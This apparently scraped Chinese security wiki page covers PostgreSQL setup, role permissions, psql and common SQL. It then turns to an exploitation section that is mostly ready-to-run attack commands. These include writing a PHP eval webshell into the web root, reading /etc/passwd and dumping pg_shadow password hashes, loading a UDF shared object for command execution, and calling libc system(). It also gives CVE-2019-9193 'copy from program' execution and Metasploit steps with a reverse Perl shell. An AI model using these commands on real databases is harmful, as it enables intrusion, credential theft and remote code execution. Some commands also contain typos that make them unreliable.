| 关联规则 | 关联知识 | 关联工具 | 关联文档 | 关联抓包 |
| 参考1(官网) | |
| 参考2 | |
| 参考3 |
-
Postgresql安装与启动
-
数据库用户权限说明
-
PSQL管理
-
常用SQL语句
-
渗透利用
0x1 Postgresql 安装与启动
[出自:jiwo.org]
安装：sudo apt-get install postgresql 安装后：
（1）创建名为"postgres"的Linux用户
（2）创建名为"postgres"不带密码的默认数据库账号作为数据库管理员
（3）创建名为"postgres"表
（4）默认用户创建的库为public
启动：sudo /etc/init.d/postgresql restart
0x2 数据库用户权限说明
-
login: 可登录
-
superuser:数据库超级用户
-
createdb:创建数据库权限
-
createrole:创建和删除其他普通用户的权限
-
replication:流复制时用到的一个用户属性，需要单独设定
-
password:登录时需要指定密码
- inherit:用户组对组员的一个集成标识，成员可以集成用户组的特性权限
执行命令：
1 sudo -u postgres psql
进入可以执行sql语句和psql的基本命令，链接远程数据库可以使用如下命令：
1 psql -U dbuser -d exampledb -h ip -p 5432
常用的命令如下：
（1）\password：设置密码
（2）\h：查看SQL命令的解释，比如\h select
（3）\l：列出所有数据库
（4）\c [database_name]：连接其他数据库
（5）\d：列出当前数据库的所有表格
（6）\d [table_name]：列出某一张表格的结构
（7）\du：列出所有用户
（8）\conninfo：列出当前数据库和连接的信息
（9）\q：退出
psql备份与还原：
(1) 备份：
1 pg_dump -O -h 192.168.0.5 -Udbowner -w -p 5432 db_name > SS.sql
(2) 还原：
1 psql -h localhost -U dbowner -d db_name -f "/var/ss.sql"
0x4 常用SQL语句
1. 查看当前系统版本：
1 select version();
2. 列出系统目录：
1 select pg_ls_dir('/etc');
3. 读取系统文件100行：
1 select pg_read_file('postgresql.auto.conf',0,100);
4.写入文件：(两种方式)
1 create table shell(shell text not null);
2 insert into shell values($$<?php @eval($_POST[sec]);?>$$);
3 copy shell(shell) to '/var/www/html/shell.php';
4 copy (select 'cmd') to '/var/www/html/shell.php';
5.列出所有数据库：
1 select datname from pg_database;
6.列出所有表名：
1 select * from pg_tables;
7.列出所有表包含系统表，如果想获得用户创建的表，可以执行如下语句：
1 select tablename from pg_tables where schemaname='public';
8.读取当前账号密码：
1 select usename,passwd from pg_shadow;
9. 当前用户：
1 select user;
10.当前数据库：
1 select current_database();
11.修改用户密码：
1 alter user postgres with password '123456';
0x5 渗透利用
1. 弱口令
1.use auxiliary/scanner/postgres/postgres_login 2.# MSF的postgre_login 模块包含默认字典
2. 读文件
2.1 创建数据表存储读取内容
1.drop table wooyun;
2.create table wooyun(t TEXT);
3.copy wooyun FROM '/etc/passwd';
4.select * from wooyun limit 1 offset 0;
2.2 利用postgresql大对象来处理读文件
1.select lo_import('/etc/passwd',12345678);
2.select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a;
读出来的结果需要进行hex->string
3. 写文件
3.1 普通文件写shell：
copy (select '<?php phpinfo();?>') to '/tmp/1.php';
3.2 二进制文件写入：类似于Mysql的UDF提权形式
1.select lo_create(12345);
2.insrert into pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
3.insert into pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
4.insert into pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
5.insert into pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
6.select lo_export(12345, '/tmp/test.so');
7.create or replace function sys_eval(text) returns text as '/
tmp/testeval.so', 'sys_eval' language C retturns NULL on NULL input immutable;
8.select sys_eval('id');
9.SELECT lo_unlink(12345);
将文件分成小于2KB大小的hex在上传，在9.6版本中切割必须等于2KB才能上传成功。先创建一个OID作为写入对象，然后通过0，1，2，3……分片上传，最后倒入/tmp目录下并删除OID，命令执行：
select sys_exec(id); # 无回显
select sys_eval(id); # 有回显
4. 命令执行
Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6，可以执行命令：
1. create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
2. create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict
3. select system('id');
需要注意的是：Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。高版本的系统存在安全机制无法调用系统libc.sso.6，需要手动利用UDF进行命令执行。先查看postgresql支持的扩展语言：select * from pg_language; Postgresql默认支持C，可以自己编译so库去创建执行命令的函数利用。
5. 漏洞利用
5.1 CVE-2019-9193:PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令：1.drop table if exists cmd_exec;
2.create table cmd_exec(cmd_output text);
3.copy cmd_exec from program 'id';
4.select * from cmd_exec;
5.drop table if exists cmd_exec;
需要注意的是：命令中的单引号需要用双引号进行转义，如：echo 'test' >> 'echo "test";'
MSF中也有对应的利用模块：
1.use exploit/multi/postgres/postgres_cmd_execution_nine_three
2.set RHOST 192.168.1.5
3.set payload cmd/unix.reverse_perl
4.set database postgres
5.set username postgres
6.set password postgres
7.set LHOST 192.168.1.6
8.set LPORT 53
9.exploit
